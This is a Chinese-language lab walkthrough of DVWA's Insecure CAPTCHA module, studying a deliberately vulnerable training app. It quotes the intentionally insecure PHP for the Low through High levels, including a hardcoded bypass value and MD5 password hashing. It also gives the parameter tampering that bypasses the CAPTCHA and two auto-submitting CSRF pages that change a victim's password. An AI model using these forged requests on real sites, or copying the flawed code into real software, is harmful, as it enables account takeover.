Insecure CAPTCHA
Insecure CAPTCHA，意思是不安全的验证码，CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得，这一模块的内容叫做不安全的验证流程更妥当些，因为这块主要是验证流程出现了逻辑漏洞，谷歌的验证码表示不背这个锅。
reCAPTCHA验证流程
这一模块的验证码使用的是Google提供reCAPTCHA服务，下图是验证的具体流程。
服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。
recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey是服务器申请的private key，$remoteip是用户的ip，$challenge是recaptcha_challenge_field字段的值，来自前端页面 ，$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例，ReCaptchaResponse类有2个属性 ：
$is_valid是布尔型的，表示校验是否有效，
$error是返回的错误代码。
（ps:有人也许会问，那这个模块的实验是不是需要科学上网呢？答案是不用，因为我们可以绕过验证码）
下面对四种级别的代码进行分析。
Low
服务器端核心代码：
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action="#" method="POST">
<input type="hidden" name="step" value="2" />
<input type="hidden" name="password_new" value="{$pass_new}" />
<input type="hidden" name="password_conf" value="{$pass_conf}" />
<input type="submit" name="Change" value="Change" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
mysql_close();
}
?>
可以看到，服务器将改密操作分成了两步，第一步检查用户输入的验证码，验证通过后，服务器返回表单，第二步客户端提交post请求，服务器完成更改密码的操作。但是，这其中存在明显的逻辑漏洞，服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。
漏洞利用
1.通过构造参数绕过验证过程的第一步
首先输入密码，点击Change按钮，抓包：
（ps:因为没有FQ，所以没能成功显示验证码，发送的请求包中也就没有recaptcha_challenge_field、recaptcha_response_field两个参数）
更改step参数绕过验证码：
修改密码成功：
2.由于没有任何的防CSRF机制，我们可以轻易地构造攻击页面，页面代码如下（详见CSRF模块的教程）。
<html>
<body onload="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="step" value="2"
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>
当受害者访问这个页面时，攻击脚本会伪造改密请求发送给服务器。
美中不足的是，受害者会看到更改密码成功的界面（这是因为修改密码成功后，服务器会返回302，实现自动跳转），从而意识到自己遭到了攻击。
Medium
服务器端核心代码：
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action="#" method="POST">
<input type="hidden" name="step" value="2" />
<input type="hidden" name="password_new" value="{$pass_new}" />
<input type="hidden" name="password_conf" value="{$pass_conf}" />
<input type="hidden" name="passed_captcha" value="true" />
<input type="submit" name="Change" value="Change" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
mysql_close();
}
?>
可以看到，Medium级别的代码在第二步验证时，参加了对参数passed_captcha的检查，如果参数值为true，则认为用户已经通过了验证码检查，然而用户依然可以通过伪造参数绕过验证，本质上来说，这与Low级别的验证没有任何区别。
漏洞利用
1.可以通过抓包，更改step参数，增加passed_captcha参数，绕过验证码。
抓到的包：
更改之后的包：
更改密码成功：
2.依然可以实施CSRF攻击，攻击页面代码如下。
<html>
<body onload="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="passed_captcha" value="true">
<input type="hidden" name="step" value="2">
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>
当受害者访问这个页面时，攻击脚本会伪造改密请求发送给服务器。
不过依然会跳转到更改密码成功的界面。
High
服务器端核心代码：
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for user
echo "<pre>Password Changed.</pre>";
}
else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到，服务器的验证逻辑是当$resp（这里是指谷歌返回的验证结果）是false，并且参数recaptcha_response_field不等于hidd3n_valu3（或者http包头的User-Agent参数不等于reCAPTCHA）时，就认为验证码输入错误，反之则认为已经通过了验证码的检查。
漏洞利用
搞清楚了验证逻辑，剩下就是伪造绕过了，由于$resp参数我们无法控制，所以重心放在参数recaptcha_response_field、User-Agent上。
第一步依旧是抓包：
更改参数recaptcha_response_field以及http包头的User-Agent：
密码修改成功：
Impossible
服务器端核心代码
if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = mysql_real_escape_string( $pass_conf );
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到，Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击，利用PDO技术防护sql注入，验证过程终于不再分成两部分了，验证码无法绕过，同时要求用户输入之前的密码，进一步加强了身份认证。
*本文原创作者：lonehand